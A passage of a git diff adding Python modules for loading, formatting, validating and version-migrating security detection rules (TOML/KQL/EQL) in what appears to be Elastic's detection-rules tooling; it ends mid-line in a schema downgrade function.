+ + +@dataclass +class TOMLRule: + contents: TOMLRuleContents = field(hash=True) + path: Optional[Path] = None + gh_pr: Any = field(hash=False, compare=False, default=None, repr=False) + + @property + def id(self): + return self.contents.id + + @property + def name(self): + return self.contents.data.name + + def get_asset(self) -> dict: + """Generate the relevant fleet compatible asset.""" + return {"id": self.id, "attributes": self.contents.to_api_format(), "type": definitions.SAVED_OBJECT_TYPE} + + def save_toml(self): + assert self.path is not None, f"Can't save rule {self.name} (self.id) without a path" + converted = self.contents.to_dict() + toml_write(converted, str(self.path.absolute())) + + def save_json(self, path: Path, include_version: bool = True): + path = path.with_suffix('.json') + with open(str(path.absolute()), 'w', newline='\n') as f: + json.dump(self.contents.to_api_format(include_version=include_version), f, sort_keys=True, indent=2) + f.write('\n') + + +@dataclass(frozen=True) +class DeprecatedRuleContents(BaseRuleContents): + metadata: dict + data: dict + + @cached_property + def version_lock(self): + # VersionLock + from .version_lock import default_version_lock + + return getattr(self, '_version_lock', None) or default_version_lock + + def set_version_lock(self, value): + from .version_lock import VersionLock + + if value and not isinstance(value, VersionLock): + raise TypeError(f'version lock property must be set with VersionLock objects only. Got {type(value)}') + + # circumvent frozen class + self.__dict__['_version_lock'] = value + + @property + def id(self) -> str: + return self.data.get('rule_id') + + @property + def name(self) -> str: + return self.data.get('name') + + @property + def type(self) -> str: + return self.data.get('type') + + @classmethod + def from_dict(cls, obj: dict): + return cls(metadata=obj['metadata'], data=obj['rule']) + + def to_api_format(self, include_version=True) -> dict: + """Convert the TOML rule to the API format.""" + converted = copy.deepcopy(self.data) + if include_version: + converted["version"] = self.autobumped_version + + converted = self._post_dict_transform(converted) + return converted + + +class DeprecatedRule(dict): + """Minimal dict object for deprecated rule.""" + + def __init__(self, path: Path, contents: DeprecatedRuleContents, *args, **kwargs): + super(DeprecatedRule, self).__init__(*args, **kwargs) + self.path = path + self.contents = contents + + def __repr__(self): + return f'{type(self).__name__}(contents={self.contents}, path={self.path})' + + @property + def id(self) -> str: + return self.contents.id + + @property + def name(self) -> str: + return self.contents.name + + +def downgrade_contents_from_rule(rule: TOMLRule, target_version: str) -> dict: + """Generate the downgraded contents from a rule.""" + payload = rule.contents.to_api_format() + meta = payload.setdefault("meta", {}) + meta["original"] = dict(id=rule.id, **rule.contents.metadata.to_dict()) + payload["rule_id"] = str(uuid4()) + payload = downgrade(payload, target_version) + return payload + + +def get_unique_query_fields(rule: TOMLRule) -> List[str]: + """Get a list of unique fields used in a rule query from rule contents.""" + contents = rule.contents.to_api_format() + language = contents.get('language') + query = contents.get('query') + if language in ('kuery', 'eql'): + # TODO: remove once py-eql supports ipv6 for cidrmatch + with eql.parser.elasticsearch_syntax, eql.parser.ignore_missing_functions: + parsed = kql.parse(query) if language == 'kuery' else eql.parse_query(query) + + return sorted(set(str(f) for f in parsed if isinstance(f, (eql.ast.Field, kql.ast.Field)))) + + +# avoid a circular import +from .rule_validators import KQLValidator, EQLValidator # noqa: E402 diff --git a/detection_rules/rule_formatter.py b/detection_rules/rule_formatter.py new file mode 100644 index 000000000..53f53c209 --- /dev/null +++ b/detection_rules/rule_formatter.py @@ -0,0 +1,227 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Helper functions for managing rules in the repository.""" +import copy +import dataclasses +import io +import json +import textwrap +import typing +from collections import OrderedDict + +import toml + +from .schemas import definitions +from .utils import cached + +SQ = "'" +DQ = '"' +TRIPLE_SQ = SQ * 3 +TRIPLE_DQ = DQ * 3 + + +@cached +def get_preserved_fmt_fields(): + from .rule import BaseRuleData + preserved_keys = set() + + for field in dataclasses.fields(BaseRuleData): # type: dataclasses.Field + if field.type in (definitions.Markdown, typing.Optional[definitions.Markdown]): + preserved_keys.add(field.metadata.get("data_key", field.name)) + return preserved_keys + + +def cleanup_whitespace(val): + if isinstance(val, str): + return " ".join(line.strip() for line in val.strip().splitlines()) + return val + + +def nested_normalize(d, skip_cleanup=False): + if isinstance(d, str): + return d if skip_cleanup else cleanup_whitespace(d) + elif isinstance(d, list): + return [nested_normalize(val) for val in d] + elif isinstance(d, dict): + for k, v in d.items(): + if k == 'query': + # TODO: the linter still needs some work, but once up to par, uncomment to implement - kql.lint(v) + # do not normalize queries + d.update({k: v}) + elif k in get_preserved_fmt_fields(): + # let these maintain newlines and whitespace for markdown support + d.update({k: nested_normalize(v, skip_cleanup=True)}) + else: + d.update({k: nested_normalize(v)}) + return d + else: + return d + + +def wrap_text(v, block_indent=0, join=False): + """Block and indent a blob of text.""" + v = ' '.join(v.split()) + lines = textwrap.wrap(v, initial_indent=' ' * block_indent, subsequent_indent=' ' * block_indent, width=120, + break_long_words=False, break_on_hyphens=False) + lines = [line + '\n' for line in lines] + return lines if not join else ''.join(lines) + + +class NonformattedField(str): + """Non-formatting class.""" + + +class RuleTomlEncoder(toml.TomlEncoder): + """Generate a pretty form of toml.""" + + def __init__(self, _dict=dict, preserve=False): + """Create the encoder but override some default functions.""" + super(RuleTomlEncoder, self).__init__(_dict, preserve) + self._old_dump_str = toml.TomlEncoder().dump_funcs[str] + self._old_dump_list = toml.TomlEncoder().dump_funcs[list] + self.dump_funcs[str] = self.dump_str + self.dump_funcs[type(u"")] = self.dump_str + self.dump_funcs[list] = self.dump_list + self.dump_funcs[NonformattedField] = self.dump_str + + def dump_str(self, v): + """Change the TOML representation to multi-line or single quote when logical.""" + initial_newline = ['\n'] + + if isinstance(v, NonformattedField): + # first line break is not forced like other multiline string dumps + lines = v.splitlines(True) + initial_newline = [] + + else: + lines = wrap_text(v) + + multiline = len(lines) > 1 + raw = (multiline or (DQ in v and SQ not in v)) and TRIPLE_DQ not in v + + if multiline: + if raw: + return "".join([TRIPLE_DQ] + initial_newline + lines + [TRIPLE_DQ]) + else: + return "\n".join([TRIPLE_SQ] + [self._old_dump_str(line)[1:-1] for line in lines] + [TRIPLE_SQ]) + elif raw: + return u"'{:s}'".format(lines[0]) + return self._old_dump_str(v) + + def _dump_flat_list(self, v): + """A slightly tweaked version of original dump_list, removing trailing commas.""" + if not v: + return "[]" + + retval = "[" + str(self.dump_value(v[0])) + "," + for u in v[1:]: + retval += " " + str(self.dump_value(u)) + "," + retval = retval.rstrip(',') + "]" + return retval + + def dump_list(self, v): + """Dump a list more cleanly.""" + if all([isinstance(d, str) for d in v]) and sum(len(d) + 3 for d in v) > 100: + dump = [] + for item in v: + if len(item) > (120 - 4 - 3 - 3) and ' ' in item: + dump.append(' """\n{} """'.format(wrap_text(item, block_indent=4, join=True))) + else: + dump.append(' ' * 4 + self.dump_value(item)) + return '[\n{},\n]'.format(',\n'.join(dump)) + return self._dump_flat_list(v) + + +def toml_write(rule_contents, outfile=None): + """Write rule in TOML.""" + def write(text, nl=True): + if outfile: + outfile.write(text) + if nl: + outfile.write(u"\n") + else: + print(text, end='' if not nl else '\n') + + encoder = RuleTomlEncoder() + contents = copy.deepcopy(rule_contents) + needs_close = False + + def order_rule(obj): + if isinstance(obj, dict): + obj = OrderedDict(sorted(obj.items())) + for k, v in obj.items(): + if isinstance(v, dict) or isinstance(v, list): + obj[k] = order_rule(v) + + if isinstance(obj, list): + for i, v in enumerate(obj): + if isinstance(v, dict) or isinstance(v, list): + obj[i] = order_rule(v) + obj = sorted(obj, key=lambda x: json.dumps(x)) + + return obj + + def _do_write(_data, _contents): + query = None + + if _data == 'rule': + # - We want to avoid the encoder for the query and instead use kql-lint. + # - Linting is done in rule.normalize() which is also called in rule.validate(). + # - Until lint has tabbing, this is going to result in all queries being flattened with no wrapping, + # but will at least purge extraneous white space + query = contents['rule'].pop('query', '').strip() + + # - As tags are expanding, we may want to reconsider the need to have them in alphabetical order + # tags = contents['rule'].get("tags", []) + # + # if tags and isinstance(tags, list): + # contents['rule']["tags"] = list(sorted(set(tags))) + + top = OrderedDict() + bottom = OrderedDict() + + for k in sorted(list(_contents)): + v = _contents.pop(k) + + if isinstance(v, dict): + bottom[k] = OrderedDict(sorted(v.items())) + elif isinstance(v, list): + if any([isinstance(value, (dict, list)) for value in v]): + bottom[k] = v + else: + top[k] = v + elif k in get_preserved_fmt_fields(): + top[k] = NonformattedField(v) + else: + top[k] = v + + if query: + top.update({'query': "XXxXX"}) + + top.update(bottom) + top = toml.dumps(OrderedDict({data: top}), encoder=encoder) + + # we want to preserve the query format, but want to modify it in the context of encoded dump + if query: + formatted_query = "\nquery = '''\n{}\n'''{}".format(query, '\n\n' if bottom else '') + top = top.replace('query = "XXxXX"', formatted_query) + + write(top) + + try: + + if outfile and not isinstance(outfile, io.IOBase): + needs_close = True + outfile = open(outfile, 'w') + + for data in ('metadata', 'rule'): + _contents = contents.get(data, {}) + order_rule(_contents) + _do_write(data, _contents) + + finally: + if needs_close and hasattr(outfile, "close"): + outfile.close() diff --git a/detection_rules/rule_loader.py b/detection_rules/rule_loader.py new file mode 100644 index 000000000..d164d7aa8 --- /dev/null +++ b/detection_rules/rule_loader.py @@ -0,0 +1,436 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Load rule metadata transform between rule and api formats.""" +import io +from collections import OrderedDict +from dataclasses import dataclass, field +from pathlib import Path +from typing import Dict, List, Iterable, Callable, Optional, Union + +import click +import pytoml +from marshmallow.exceptions import ValidationError + +from . import utils +from .mappings import RtaMappings +from .rule import DeprecatedRule, DeprecatedRuleContents, TOMLRule, TOMLRuleContents +from .schemas import definitions +from .utils import get_path, cached + +DEFAULT_RULES_DIR = Path(get_path("rules")) +DEFAULT_DEPRECATED_DIR = DEFAULT_RULES_DIR / '_deprecated' +RTA_DIR = get_path("rta") +FILE_PATTERN = r'^([a-z0-9_])+\.(json|toml)$' + + +def path_getter(value: str) -> Callable[[dict], bool]: + """Get the path from a Python object.""" + path = value.replace("__", ".").split(".") + + def callback(obj: dict): + for p in path: + if isinstance(obj, dict) and p in path: + obj = obj[p] + else: + return None + + return obj + + return callback + + +def dict_filter(_obj: Optional[dict] = None, **critieria) -> Callable[[dict], bool]: + """Get a callable that will return true if a dictionary matches a set of criteria. + + * each key is a dotted (or __ delimited) path into a dictionary to check + * each value is a value or list of values to match + """ + critieria.update(_obj or {}) + checkers = [(path_getter(k), set(v) if isinstance(v, (list, set, tuple)) else {v}) for k, v in critieria.items()] + + def callback(obj: dict) -> bool: + for getter, expected in checkers: + target_values = getter(obj) + target_values = set(target_values) if isinstance(target_values, (list, set, tuple)) else {target_values} + + return bool(expected.intersection(target_values)) + + return False + + return callback + + +def metadata_filter(**metadata) -> Callable[[TOMLRule], bool]: + """Get a filter callback based off rule metadata""" + flt = dict_filter(metadata) + + def callback(rule: TOMLRule) -> bool: + target_dict = rule.contents.metadata.to_dict() + return flt(target_dict) + + return callback + + +production_filter = metadata_filter(maturity="production") + + +def load_locks_from_tag(remote: str, tag: str) -> (str, dict, dict): + """Loads version and deprecated lock files from git tag.""" + import json + git = utils.make_git() + + exists_args = ['ls-remote'] + if remote: + exists_args.append(remote) + exists_args.append(f'refs/tags/{tag}') + + assert git(*exists_args), f'tag: {tag} does not exist in {remote or "local"}' + + fetch_tags = ['fetch'] + if remote: + fetch_tags += [remote, '--tags', '-f', tag] + else: + fetch_tags += ['--tags', '-f', tag] + + git(*fetch_tags) + + commit_hash = git('rev-list', '-1', tag) + version = json.loads(git('show', f'{tag}:etc/version.lock.json')) + deprecated = json.loads(git('show', f'{tag}:etc/deprecated_rules.json')) + return commit_hash, version, deprecated + + +@dataclass +class BaseCollection: + """Base class for collections.""" + + rules: list + + def __len__(self): + """Get the total amount of rules in the collection.""" + return len(self.rules) + + def __iter__(self): + """Iterate over all rules in the collection.""" + return iter(self.rules) + + +@dataclass +class DeprecatedCollection(BaseCollection): + """Collection of loaded deprecated rule dicts.""" + + id_map: Dict[str, DeprecatedRule] = field(default_factory=dict) + file_map: Dict[Path, DeprecatedRule] = field(default_factory=dict) + rules: List[DeprecatedRule] = field(default_factory=list) + + def __contains__(self, rule: DeprecatedRule): + """Check if a rule is in the map by comparing IDs.""" + return rule.id in self.id_map + + def filter(self, cb: Callable[[DeprecatedRule], bool]) -> 'RuleCollection': + """Retrieve a filtered collection of rules.""" + filtered_collection = RuleCollection() + + for rule in filter(cb, self.rules): + filtered_collection.add_deprecated_rule(rule) + + return filtered_collection + + +class RuleCollection(BaseCollection): + """Collection of rule objects.""" + + __default = None + + def __init__(self, rules: Optional[List[TOMLRule]] = None): + from .version_lock import VersionLock + + self.id_map: Dict[definitions.UUIDString, TOMLRule] = {} + self.file_map: Dict[Path, TOMLRule] = {} + self.rules: List[TOMLRule] = [] + self.deprecated: DeprecatedCollection = DeprecatedCollection() + self.errors: Dict[Path, Exception] = {} + self.frozen = False + + self._toml_load_cache: Dict[Path, dict] = {} + self._version_lock: Optional[VersionLock] = None + + for rule in (rules or []): + self.add_rule(rule) + + def __contains__(self, rule: TOMLRule): + """Check if a rule is in the map by comparing IDs.""" + return rule.id in self.id_map + + def filter(self, cb: Callable[[TOMLRule], bool]) -> 'RuleCollection': + """Retrieve a filtered collection of rules.""" + filtered_collection = RuleCollection() + + for rule in filter(cb, self.rules): + filtered_collection.add_rule(rule) + + return filtered_collection + + @staticmethod + def deserialize_toml_string(contents: Union[bytes, str]) -> dict: + return pytoml.loads(contents) + + def _load_toml_file(self, path: Path) -> dict: + if path in self._toml_load_cache: + return self._toml_load_cache[path] + + # use pytoml instead of toml because of annoying bugs + # https://github.com/uiri/toml/issues/152 + # might also be worth looking at https://github.com/sdispater/tomlkit + with io.open(path, "r", encoding="utf-8") as f: + toml_dict = self.deserialize_toml_string(f.read()) + self._toml_load_cache[path] = toml_dict + return toml_dict + + def _get_paths(self, directory: Path, recursive=True) -> List[Path]: + return sorted(directory.rglob('*.toml') if recursive else directory.glob('*.toml')) + + def _assert_new(self, rule: Union[TOMLRule, DeprecatedRule], is_deprecated=False): + if is_deprecated: + id_map = self.deprecated.id_map + file_map = self.deprecated.file_map + else: + id_map = self.id_map + file_map = self.file_map + + assert not self.frozen, f"Unable to add rule {rule.name} {rule.id} to a frozen collection" + assert rule.id not in id_map, \ + f"Rule ID {rule.id} for {rule.name} collides with rule {id_map.get(rule.id).name}" + + if rule.path is not None: + rule_path = rule.path.resolve() + assert rule_path not in file_map, f"Rule file {rule_path} already loaded" + file_map[rule_path] = rule + + def add_rule(self, rule: TOMLRule): + self._assert_new(rule) + self.id_map[rule.id] = rule + self.rules.append(rule) + + def add_deprecated_rule(self, rule: DeprecatedRule): + self._assert_new(rule, is_deprecated=True) + self.deprecated.id_map[rule.id] = rule + self.deprecated.rules.append(rule) + + def load_dict(self, obj: dict, path: Optional[Path] = None) -> Union[TOMLRule, DeprecatedRule]: + # bypass rule object load (load_dict) and load as a dict only + if obj.get('metadata', {}).get('maturity', '') == 'deprecated': + contents = DeprecatedRuleContents.from_dict(obj) + contents.set_version_lock(self._version_lock) + deprecated_rule = DeprecatedRule(path, contents) + self.add_deprecated_rule(deprecated_rule) + return deprecated_rule + else: + contents = TOMLRuleContents.from_dict(obj) + contents.set_version_lock(self._version_lock) + rule = TOMLRule(path=path, contents=contents) + self.add_rule(rule) + return rule + + def load_file(self, path: Path) -> Union[TOMLRule, DeprecatedRule]: + try: + path = path.resolve() + + # use the default rule loader as a cache. + # if it already loaded the rule, then we can just use it from that + if self.__default is not None and self is not self.__default: + if path in self.__default.file_map: + rule = self.__default.file_map[path] + self.add_rule(rule) + return rule + elif path in self.__default.deprecated.file_map: + deprecated_rule = self.__default.deprecated.file_map[path] + self.add_deprecated_rule(deprecated_rule) + return deprecated_rule + + obj = self._load_toml_file(path) + return self.load_dict(obj, path=path) + except Exception: + print(f"Error loading rule in {path}") + raise + + def load_git_tag(self, branch: str, remote: Optional[str] = None, skip_query_validation=False): + """Load rules from a Git branch.""" + from .version_lock import VersionLock + + commit_hash, v_lock, d_lock = load_locks_from_tag(remote, branch) + + v_lock_name_prefix = f'{remote}/' if remote else '' + v_lock_name = f'{v_lock_name_prefix}{branch}-{commit_hash}' + + version_lock = VersionLock(version_lock=v_lock, deprecated_lock=d_lock, name=v_lock_name) + self._version_lock = version_lock + + git = utils.make_git() + rules_dir = DEFAULT_RULES_DIR.relative_to(get_path(".")) + paths = git("ls-tree", "-r", "--name-only", branch, rules_dir).splitlines() + + for path in paths: + path = Path(path) + if path.suffix != ".toml": + continue + + contents = git("show", f"{branch}:{path}") + toml_dict = self.deserialize_toml_string(contents) + + if skip_query_validation: + toml_dict['metadata']['query_schema_validation'] = False + + try: + self.load_dict(toml_dict, path) + except ValidationError as e: + self.errors[path] = e + continue + + def load_files(self, paths: Iterable[Path]): + """Load multiple files into the collection.""" + for path in paths: + self.load_file(path) + + def load_directory(self, directory: Path, recursive=True, toml_filter: Optional[Callable[[dict], bool]] = None): + paths = self._get_paths(directory, recursive=recursive) + if toml_filter is not None: + paths = [path for path in paths if toml_filter(self._load_toml_file(path))] + + self.load_files(paths) + + def load_directories(self, directories: Iterable[Path], recursive=True, + toml_filter: Optional[Callable[[dict], bool]] = None): + for path in directories: + self.load_directory(path, recursive=recursive, toml_filter=toml_filter) + + def freeze(self): + """Freeze the rule collection and make it immutable going forward.""" + self.frozen = True + + @classmethod + def default(cls) -> 'RuleCollection': + """Return the default rule collection, which retrieves from rules/.""" + if cls.__default is None: + collection = RuleCollection() + collection.load_directory(DEFAULT_RULES_DIR) + collection.freeze() + cls.__default = collection + + return cls.__default + + def compare_collections(self, other: 'RuleCollection' + ) -> (Dict[str, TOMLRule], Dict[str, TOMLRule], Dict[str, DeprecatedRule]): + """Get the changes between two sets of rules.""" + assert self._version_lock, 'RuleCollection._version_lock must be set for self' + assert other._version_lock, 'RuleCollection._version_lock must be set for other' + + # we cannot trust the assumption that either of the versions or deprecated files were pre-locked, which means we + # have to perform additional checks beyond what is done in manage_versions + changed_rules = {} + new_rules = {} + newly_deprecated = {} + + pre_versions_hash = utils.dict_hash(self._version_lock.version_lock) + post_versions_hash = utils.dict_hash(other._version_lock.version_lock) + pre_deprecated_hash = utils.dict_hash(self._version_lock.deprecated_lock) + post_deprecated_hash = utils.dict_hash(other._version_lock.deprecated_lock) + + if pre_versions_hash == post_versions_hash and pre_deprecated_hash == post_deprecated_hash: + return changed_rules, new_rules, newly_deprecated + + for rule in other: + if rule.contents.metadata.maturity != 'production': + continue + + if rule.id not in self.id_map: + new_rules[rule.id] = rule + else: + pre_rule = self.id_map[rule.id] + if rule.contents.sha256() != pre_rule.contents.sha256(): + changed_rules[rule.id] = rule + + for rule in other.deprecated: + if rule.id not in self.deprecated.id_map: + newly_deprecated[rule.id] = rule + + return changed_rules, new_rules, newly_deprecated + + +@cached +def load_github_pr_rules(labels: list = None, repo: str = 'elastic/detection-rules', token=None, threads=50, + verbose=True) -> (Dict[str, TOMLRule], Dict[str, TOMLRule], Dict[str, list]): + """Load all rules active as a GitHub PR.""" + import requests + import pytoml + from multiprocessing.pool import ThreadPool + from pathlib import Path + from .ghwrap import GithubClient + + github = GithubClient(token=token) + repo = github.client.get_repo(repo) + labels = set(labels or []) + open_prs = [r for r in repo.get_pulls() if not labels.difference(set(list(lbl.name for lbl in r.get_labels())))] + + new_rules: List[TOMLRule] = [] + modified_rules: List[TOMLRule] = [] + errors: Dict[str, list] = {} + + existing_rules = RuleCollection.default() + pr_rules = [] + + if verbose: + click.echo('Downloading rules from GitHub PRs') + + def download_worker(pr_info): + pull, rule_file = pr_info + response = requests.get(rule_file.raw_url) + try: + raw_rule = pytoml.loads(response.text) + contents = TOMLRuleContents.from_dict(raw_rule) + rule = TOMLRule(path=rule_file.filename, contents=contents) + rule.gh_pr = pull + + if rule in existing_rules: + modified_rules.append(rule) + else: + new_rules.append(rule) + + except Exception as e: + errors.setdefault(Path(rule_file.filename).name, []).append(str(e)) + + for pr in open_prs: + pr_rules.extend([(pr, f) for f in pr.get_files() + if f.filename.startswith('rules/') and f.filename.endswith('.toml')]) + + pool = ThreadPool(processes=threads) + pool.map(download_worker, pr_rules) + pool.close() + pool.join() + + new = OrderedDict([(rule.contents.id, rule) for rule in sorted(new_rules, key=lambda r: r.contents.name)]) + modified = OrderedDict() + + for modified_rule in sorted(modified_rules, key=lambda r: r.contents.name): + modified.setdefault(modified_rule.contents.id, []).append(modified_rule) + + return new, modified, errors + + +rta_mappings = RtaMappings() + +__all__ = ( + "FILE_PATTERN", + "DEFAULT_RULES_DIR", + "load_github_pr_rules", + "DeprecatedCollection", + "DeprecatedRule", + "RuleCollection", + "metadata_filter", + "production_filter", + "dict_filter", + "rta_mappings" +) diff --git a/detection_rules/rule_validators.py b/detection_rules/rule_validators.py new file mode 100644 index 000000000..aaed3de5e --- /dev/null +++ b/detection_rules/rule_validators.py @@ -0,0 +1,124 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Validation logic for rules containing queries.""" +from functools import cached_property +from typing import List, Optional, Union + +import eql + +import kql +from . import ecs, beats +from .rule import QueryValidator, QueryRuleData, RuleMeta + + +class KQLValidator(QueryValidator): + """Specific fields for query event types.""" + + @cached_property + def ast(self) -> kql.ast.Expression: + return kql.parse(self.query) + + @property + def unique_fields(self) -> List[str]: + return list(set(str(f) for f in self.ast if isinstance(f, kql.ast.Field))) + + def to_eql(self) -> eql.ast.Expression: + return kql.to_eql(self.query) + + def validate(self, data: QueryRuleData, meta: RuleMeta) -> None: + """Static method to validate the query, called from the parent which contains [metadata] information.""" + ast = self.ast + + if meta.query_schema_validation is False or meta.maturity == "deprecated": + # syntax only, which is done via self.ast + return + + for stack_version, mapping in meta.get_validation_stack_versions().items(): + beats_version = mapping['beats'] + ecs_version = mapping['ecs'] + err_trailer = f'stack: {stack_version}, beats: {beats_version}, ecs: {ecs_version}' + + beat_types = beats.parse_beats_from_index(data.index) + beat_schema = beats.get_schema_from_kql(ast, beat_types, version=beats_version) if beat_types else None + schema = ecs.get_kql_schema(version=ecs_version, indexes=data.index or [], beat_schema=beat_schema) + + try: + kql.parse(self.query, schema=schema) + except kql.KqlParseError as exc: + message = exc.error_msg + trailer = err_trailer + if "Unknown field" in message and beat_types: + trailer = f"\nTry adding event.module or event.dataset to specify beats module\n\n{trailer}" + + raise kql.KqlParseError(exc.error_msg, exc.line, exc.column, exc.source, + len(exc.caret.lstrip()), trailer=trailer) from None + except Exception: + print(err_trailer) + raise + + +class EQLValidator(QueryValidator): + + @cached_property + def ast(self) -> eql.ast.Expression: + with eql.parser.elasticsearch_syntax, eql.parser.ignore_missing_functions: + return eql.parse_query(self.query) + + def text_fields(self, eql_schema: ecs.KqlSchema2Eql) -> List[str]: + """Return a list of fields of type text.""" + from kql.parser import elasticsearch_type_family + + return [f for f in self.unique_fields if elasticsearch_type_family(eql_schema.kql_schema.get(f)) == 'text'] + + @property + def unique_fields(self) -> List[str]: + return list(set(str(f) for f in self.ast if isinstance(f, eql.ast.Field))) + + def validate(self, data: 'QueryRuleData', meta: RuleMeta) -> None: + """Validate an EQL query while checking TOMLRule.""" + ast = self.ast + + if meta.query_schema_validation is False or meta.maturity == "deprecated": + # syntax only, which is done via self.ast + return + + for stack_version, mapping in meta.get_validation_stack_versions().items(): + beats_version = mapping['beats'] + ecs_version = mapping['ecs'] + err_trailer = f'stack: {stack_version}, beats: {beats_version}, ecs: {ecs_version}' + + beat_types = beats.parse_beats_from_index(data.index) + beat_schema = beats.get_schema_from_kql(ast, beat_types, version=beats_version) if beat_types else None + schema = ecs.get_kql_schema(version=ecs_version, indexes=data.index or [], beat_schema=beat_schema) + eql_schema = ecs.KqlSchema2Eql(schema) + + try: + # TODO: switch to custom cidrmatch that allows ipv6 + with eql_schema, eql.parser.elasticsearch_syntax, eql.parser.ignore_missing_functions: + eql.parse_query(self.query) + except eql.EqlParseError as exc: + message = exc.error_msg + trailer = err_trailer + if "Unknown field" in message and beat_types: + trailer = f"\nTry adding event.module or event.dataset to specify beats module\n\n{trailer}" + elif "Field not recognized" in message: + text_fields = self.text_fields(eql_schema) + if text_fields: + fields_str = ', '.join(text_fields) + trailer = f"\neql does not support text fields: {fields_str}\n\n{trailer}" + + raise exc.__class__(exc.error_msg, exc.line, exc.column, exc.source, + len(exc.caret.lstrip()), trailer=trailer) from None + except Exception: + print(err_trailer) + raise + + +def extract_error_field(exc: Union[eql.EqlParseError, kql.KqlParseError]) -> Optional[str]: + line = exc.source.splitlines()[exc.line] + start = exc.column + stop = start + len(exc.caret.strip()) + return line[start:stop] diff --git a/detection_rules/schemas/__init__.py b/detection_rules/schemas/__init__.py new file mode 100644 index 000000000..a3cf07d5f --- /dev/null +++ b/detection_rules/schemas/__init__.py @@ -0,0 +1,235 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. +import json +from pathlib import Path +from typing import Dict, List, Optional + +import jsonschema + +from . import definitions +from .rta_schema import validate_rta_mapping +from ..semver import Version +from ..utils import cached, get_etc_path, load_etc_dump + + +__all__ = ( + "SCHEMA_DIR", + "definitions", + "downgrade", + "get_stack_schemas", + "validate_rta_mapping", + "all_versions", +) + +SCHEMA_DIR = Path(get_etc_path("api_schemas")) +migrations = {} + + +def all_versions() -> List[str]: + """Get all known stack versions.""" + return [str(v) for v in sorted(migrations)] + + +def migrate(version: str): + """Decorator to set a migration.""" + version = Version(version) + + def wrapper(f): + assert version not in migrations + migrations[version] = f + return f + + return wrapper + + +@cached +def get_schema_file(version: Version, rule_type: str) -> dict: + path = Path(SCHEMA_DIR) / str(version) / f"{version}.{rule_type}.json" + + if not path.exists(): + raise ValueError(f"Unsupported rule type {rule_type}. Unable to downgrade to {version}") + + return json.loads(path.read_text(encoding="utf8")) + + +def strip_additional_properties(version: Version, api_contents: dict) -> dict: + """Remove all fields that the target schema doesn't recognize.""" + stripped = {} + target_schema = get_schema_file(version, api_contents["type"]) + + for field, field_schema in target_schema["properties"].items(): + if field in api_contents: + stripped[field] = api_contents[field] + + # finally, validate against the json schema + jsonschema.validate(stripped, target_schema) + return stripped + + +@migrate("7.8") +def migrate_to_7_8(version: Version, api_contents: dict) -> dict: + """Default migration for 7.8.""" + return strip_additional_properties(version, api_contents) + + +@migrate("7.9") +def migrate_to_7_9(version: Version, api_contents: dict) -> dict: + """Default migration for 7.9.""" + return strip_additional_properties(version, api_contents) + + +@migrate("7.10") +def downgrade_threat_to_7_10(version: Version, api_contents: dict) -> dict: + """Downgrade the threat mapping changes from 7.11 to 7.10.""" + if "threat" in api_contents: + v711_threats = api_contents.get("threat", []) + v710_threats = [] + + for threat in v711_threats: + # drop tactic without threat + if "technique" not in threat: + continue + + threat = threat.copy() + threat["technique"] = [t.copy() for t in threat["technique"]] + + # drop subtechniques + for technique in threat["technique"]: + technique.pop("subtechnique", None) + + v710_threats.append(threat) + + api_contents = api_contents.copy() + api_contents.pop("threat") + + # only add if the array is not empty + if len(v710_threats) > 0: + api_contents["threat"] = v710_threats + + # finally, downgrade any additional properties that were added + return strip_additional_properties(version, api_contents) + + +@migrate("7.11") +def downgrade_threshold_to_7_11(version: Version, api_contents: dict) -> dict: + """Remove 7.12 threshold changes that don't impact the rule.""" + if "threshold" in api_contents: + threshold = api_contents['threshold'] + threshold_field = threshold['field'] + + # attempt to convert threshold field to a string + if len(threshold_field) > 1: + raise ValueError('Cannot downgrade a threshold rule that has multiple threshold fields defined') + + if threshold.get('cardinality'): + raise ValueError('Cannot downgrade a threshold rule that has a defined cardinality') + + api_contents = api_contents.copy() + api_contents["threshold"] = api_contents["threshold"].copy() + + # if cardinality was defined with no field or value + api_contents['threshold'].pop('cardinality', None) + api_contents["threshold"]["field"] = api_contents["threshold"]["field"][0] + + # finally, downgrade any additional properties that were added + return strip_additional_properties(version, api_contents) + + +@migrate("7.12") +def migrate_to_7_12(version: Version, api_contents: dict) -> dict: + """Default migration for 7.12.""" + return strip_additional_properties(version, api_contents) + + +@migrate("7.13") +def downgrade_ml_multijob_713(version: Version, api_contents: dict) -> dict: + """Convert `machine_learning_job_id` as an array to a string for < 7.13.""" + if "machine_learning_job_id" in api_contents: + job_id = api_contents["machine_learning_job_id"] + + if isinstance(job_id, list): + if len(job_id) > 1: + raise ValueError('Cannot downgrade an ML rule with multiple jobs defined') + + api_contents = api_contents.copy() + api_contents["machine_learning_job_id"] = job_id[0] + + # finally, downgrade any additional properties that were added + return strip_additional_properties(version, api_contents) + + +@migrate("7.14") +def migrate_to_7_14(version: Version, api_contents: dict) -> dict: + """Default migration for 7.14.""" + return strip_additional_properties(version, api_contents) + + +@migrate("7.15") +def migrate_to_7_15(version: Version, api_contents: dict) -> dict: + """Default migration for 7.15.""" + return strip_additional_properties(version, api_contents) + + +@migrate("7.16") +def migrate_to_7_16(version: Version, api_contents: dict) -> dict: + """Default migration for 7.16.""" + return strip_additional_properties(version, api_contents) + + +@migrate("8.0") +def migrate_to_8_0(version: Version, api_contents: dict) -> dict: + """Default migration for 8.0.""" + return strip_additional_properties(version, api_contents) + + +@migrate("8.1") +def migrate_to_8_1(version: Version, api_contents: dict) -> dict: + """Default migration for 8.1.""" + return strip_additional_properties(version, api_contents) + + +def downgrade(api_contents: dict, target_version: str, current_version: Optional[str] = None) -> dict: + """Downgrade a rule to a target stack version.""" + from ..packaging import current_stack_version + + if current_version is None: + current_version = current_stack_version() + + current_major, current_minor = Version(current_version)[:2] + target_major, target_minor = Version(target_version)[:2] + + # get all the versions between current_semver and target_semver + if target_major 